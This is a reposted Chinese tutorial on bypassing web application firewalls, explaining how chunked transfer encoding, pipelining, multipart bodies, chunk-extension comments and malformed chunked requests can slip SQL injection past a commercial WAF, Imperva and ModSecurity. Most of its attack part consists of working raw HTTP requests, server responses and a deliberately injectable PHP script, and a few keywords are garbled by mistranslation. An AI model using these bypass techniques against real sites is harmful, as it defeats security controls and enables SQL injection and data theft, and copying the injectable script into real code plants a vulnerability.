Burpsuit分塊傳輸插件繞WAF原理和技巧(轉)


 

0x00 原理

給服務器發送payload數據包,使得waf無法識別出payload,當apache,tomcat等web容器能正常解析其內容。如圖一所示

在HTTP協議層面繞過WAF

 

0x02  實驗環境

本機win10+xampp+某狗web應用防火牆最新版。為方便演示,存在sql注入的腳本中使用$_REQUEST["id"]來接收get,或者post提交的數據。waf配置為攔截url和post的and  or 注入,如圖所示:

在HTTP協議層面繞過WAF

發送get請求或利用hackbar插件發送post請求payload均被攔截,如圖所示:

在HTTP協議層面繞過WAF

0x03 繞過WAF方法

一·  利用pipline繞過[該方法經測試會被某狗攔截]

原理

http協議是由tcp協議封裝而來,當瀏覽器發起一個http請求時,瀏覽器先和服務器建立起連接tcp連接,然后發送http數據包(即我們用burpsuite截獲的數據),其中包含了一個Connection字段,一般值為close,apache等容器根據這個字段決定是保持該tcp連接或是斷開。當發送的內容太大,超過一個http包容量,需要分多次發送時,值會變成keep-alive,即本次發起的http請求所建立的tcp連接不斷開,直到所發送內容結束Connection為close為止。

1. 關閉burp的Repeater的Content-Length自動更新,如圖四所示,點擊紅圈的Repeater在下拉選項中取消update Content-Length選中。這一步至關重要!!!

在HTTP協議層面繞過WAF

2. burp截獲post提交

id=1 and 1=1

,顯示被waf攔截如圖五所示。

在HTTP協議層面繞過WAF

3. 復制圖五中的數據包黏貼到

id=1 and 1=1

后面如圖六所示。

在HTTP協議層面繞過WAF

4. 接着修改第一個數據包的數據部分,即將

id=1+and+1%3D1

修改為正常內容id=1,再將數據包的Content-Length的值設置為修改后的【id=1】的字符長度即4,最后將Connection字段值設為keep-alive。提交后如圖七所示,會返回兩個響應包,分別對應兩個請求。

在HTTP協議層面繞過WAF

 

注意:從結果看,第一個正常數據包返回了正確內容,第二個包含有效載荷的數據包被某狗waf攔截,說明兩數據包都能到達服務器,在面對其他waf時有可能可以繞過。無論如何這仍是一種可學習了解的繞過方法,且可以和接下來的方法進行組合使用繞過。

二.利用分塊編碼傳輸繞過[該方法可繞某狗]

原理:
在頭部加入 Transfer-Encoding: chunked 之后,就代表這個報文采用了分塊編碼。 這時,post請求報文中的數據部分需要改為用一系列分塊來傳輸。每個分塊包含十六進制的長度值和數據,長度值獨占一行,長度不包括它結尾的,也不包括分塊數據結尾的,且最后需要用0獨占一行表示結束。
1. 開啟上個實驗中已關閉的content-length自動更新。給post請求包加入 Transfer-Encoding: chunked后,將數據部分 id=1 and 1=1進行分塊編碼(注意長度值必須為十六進制數),每一塊里長度值獨占一行,數據占一行如圖八所示。
在HTTP協議層面繞過WAF
2.將上面圖八數據包的
id=1 and 1=1
改為
id=1 and 1=2
 即將圖八中所標的第4塊的1改為2。如圖九所示沒有返回數據,payload生效。
在HTTP協議層面繞過WAF
 
注意:分塊編碼傳輸需要將關鍵字and,or,select ,union等關鍵字拆開編碼,不然仍然會被waf攔截。編碼過程中長度需包括空格的長度。最后用0表示編碼結束,並在0后空兩行表示數據包結束,不然點擊提交按鈕后會看到一直處於waiting狀態。

三.利用協議未覆蓋進行繞過[同樣會被某狗攔截]

原理:

HTTP頭里的Content-Type一般有application/x-www-form-urlencoded,multipart/form-data,text/plain三種,其中multipart/form-data表示數據被編碼為一條消息,頁上的每個控件對應消息中的一個部分。所以,當waf沒有規則匹配該協議傳輸的數據時可被繞過。

1.將頭部Content-Type改為multipart/form-data; boundary=69   然后設置分割符內的Content-Disposition的name為要傳參數的名稱。數據部分則放在分割結束符上一行。

在HTTP協議層面繞過WAF

由於是正常數據提交,所以從圖十可知數據是能被apache容器正確解析的,嘗試1 and 1=1也會被某狗waf攔截,但如果其他waf沒有規則攔截這種方式提交的數據包,那么同樣能繞過。

2.一般繞waf往往需要多種方式結合使用,如圖十的示例中,只需將數據部分1 and 1=1用一個小數點”.”當作連接符即1.and 1=1就可以起到繞過作用。當然,這只是用小數點當連接符所起的作用而已。如圖十一所示。

在HTTP協議層面繞過WAF

四.分塊編碼+協議未覆蓋組合繞過

1.在協議未覆蓋的數據包中加入 Transfer-Encoding: chunked ,然后將數據部分全部進行分塊編碼,如圖十二所示(數據部分為1 and 1=1)。
在HTTP協議層面繞過WAF
注意: 第2塊,第3塊,第7塊,和第8塊。
第2塊 中需要滿足
長度值 空行 Content-Disposition: name="id" 空行
這種形式,且長度值要將兩個空行的長度計算在內(空行長度為2)。
第3塊 ,即數據開始部分需滿足
長度值 空行 數據
形式,且需將空行計算在內。
第7塊 即分割邊界結束部分,需滿足
長度值 空行 分割結束符 空行
形式,且計算空行長度在內。
第8塊 需滿足
0 空行 空行
形式。如果不同時滿足這四塊的形式要求,payload將不會生效。
 

0x04  繞過WAF技巧

一、技巧1:使用注釋擾亂分塊數據包

一些如Imperva,360等比較好的WAF已經對傳輸編碼的分塊傳輸做了處理,可以把分塊組合成完整的HTTP數據包,這時直接使用常規的分塊傳輸方法嘗試繞過的話,會被WAF直接識別並阻斷。

我們可以在[RFC7230]中查看到有關分塊傳輸的定義規范。

Chunked Transfer Coding: The chunked transfer coding wraps the payload body

in order to
   transfer it as a series of chunks, each with its own size indicator,
   followed by an OPTIONAL trailer containing header fields.  Chunked
   enables content streams of unknown size to be transferred as a
   sequence of length-delimited buffers, which enables the sender to
   retain connection persistence and the recipient to know when it has
   received the entire message.

     chunked-body   = *chunk
                      last-chunk
                      trailer-part
                      CRLF

     chunk          = chunk-size [ chunk-ext ] CRLF
                      chunk-data CRLF
     chunk-size     = 1*HEXDIG
     last-chunk     = 1*("0") [ chunk-ext ] CRLF

     chunk-data     = 1*OCTET ; a sequence of chunk-size octets

   The chunk-size field is a string of hex digits indicating the size of
   the chunk-data in octets.  The chunked transfer coding is complete
   when a chunk with a chunk-size of zero is received, possibly followed
   by a trailer, andfinally terminated by an empty line.

   A recipient MUST be able to parse and decode the chunked transfer
   coding.

Chunk Extensions:

   The chunked encoding allows each chunk to include zero or more chunk
   extensions, immediately following the chunk-size, for the sake of
   supplying per-chunk metadata (such as a signature or hash),
   mid-message control information, or randomization of message body
   size.

     chunk-ext      = *( ";" chunk-ext-name [ "=" chunk-ext-val ] )

     chunk-ext-name = token
     chunk-ext-val  = token / quoted-string

   The chunked encoding is specific to each connection andis likely to
   be removed or recoded by each recipient (including intermediaries)
   before any higher-level application would have a chance to inspect
   the extensions.  Hence, use of chunk extensions is generally limited

通過閱讀規范發現分塊傳輸可以在長度標識處加上分號“;”作為注釋,如:

9;kkkkk 1234567=1 4;ooo=222 2345 0 (兩個換行)

幾乎所有可以識別傳輸編碼數據包的WAF,都沒有處理分塊數據包中長度標識處的注釋,導致在分塊數據包中加入注釋的話,WAF就識別不出這個數據包了。

現在我們在使用了Imperva的應用防火牆的網站測試常規的分塊傳輸數據包:

POST /xxxxxx.jsp HTTP/1.1 ......

Transfer-Encoding: Chunked

9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1
d
9
&a=1    and    
3
2=2
0
(兩個換行)

返回的結果如下圖所示。

可以看到我們的攻擊有效載荷“和2 = 2”被Imperva的WAF攔截了。

這時我們將分塊傳輸數據包加入注釋符。

POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked

9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1;testsdasdsad
d
9;test
&a=1    and    
3;test44444
2=2
0
(兩個換行)

返回的結果如下圖所示。

可以看到Imperva的已經不攔截這個負荷了。

二、技巧2:繞過ModSecurity

眾所周知的ModSecurity是加載在中間件上的插件,所以不需要理會解析HTTP數據包的問題,因為中間件已經幫它處理完了,那么無論使用常規的分塊還是加了注釋的分塊數據包,ModSecurity的都能直接獲取到完整的HTTP數據包然后匹配危險關鍵字,所以一些基於ModSecurity的做的WAF產品難道就不受影響嗎?

接下來我們在apache+ ModSecurity的環境做測試。

sql.php代碼如下:

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);
$con = mysql_connect("localhost","root","");
if (!$con)
{
    die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
$id = $_REQUEST["id"];
$sql = "select * from user where id=$id";
$result = mysql_query($sql,$con);
while($row = mysql_fetch_array($result))
{
    echo $row['name'] . " " . $row['password']."n";
}
mysql_close($con);
print"========GET==========n";
print_r($_GET);
print"========POST==========n";
print_r($_POST);
?><ahref="sqli.php?id=1"> sdfsdf </a>

ModSecurity的加載的規則攔截了請求包中的關鍵字“聯盟”。

下面我們的請求和返回結果如下:

請求: http://10.10.10.10/sql.php?id=2%20union 返回:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /sql.php was not found on this server.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>

可以看到我們的“聯盟”關鍵字被攔截了。

接下來我們傳輸一個畸形的分塊數據包看看。

請求: POST /sql.php?id=2%20union HTTP/1.1 ...... Transfer-Encoding: chunked 1 aa 0 (兩個換行) 返回:

<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
========GET==========
Array
(
   [id] => 2 union
)
========POST==========
Array
(
)

可以看到雖然apache的報錯了,但是因為apache的容錯很強,所以我們提交的參數依然傳到了PHP中,而我們的ModSecurity的並沒有處理400錯誤的數據包,最終繞過了ModSecurity的。

接下來我們把的ModSecurity的規則改為過濾返回數據中包含的“根”的字符串,然后在sql.php腳本中加入打印“根”關鍵字的代碼。

接着我們做如下測試:

請求: http:

//10.10.10.10/sql.php?id=1

返回:
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /sql.php
on this server.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>

因為sql.php腳本中返回了帶有“根”的關鍵字,所以直接就被ModSecurity的攔截了。這時我們改為發送畸形的分塊數據包。

請求: POST /sql.php?id=

HTTP/1.1
Host: 10.10.10.10
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Content-Length: 16

3
123
1
0
(兩個換行)

返回:
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address>
</body></html>
root 123456
========GET==========
Array
(
   [id] => 1
)
========POST==========
Array
(
)
 
        

通過兩個測試可以發現使用畸形的分塊數據包可以直接繞過的ModSecurity的檢測。這個問題我們在2017年4月已提交給了ModSecurity官方,但是因為種種問題目前依然未修復。

0x05 總結

以上是在http協議層面繞過waf,因為比較通用,所以理論上可以用於平時滲透時的方方面面,如命令執行,代碼注入,sql注入等測試。雖然本文中只有分塊編碼真正做到了繞過某狗,但其他兩種方法在其他waf繞過中可能仍然可用,而且可與其他繞過方法結合使用,甚至像四中一樣相互組合使用
 

0x06  參考文獻

 
 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM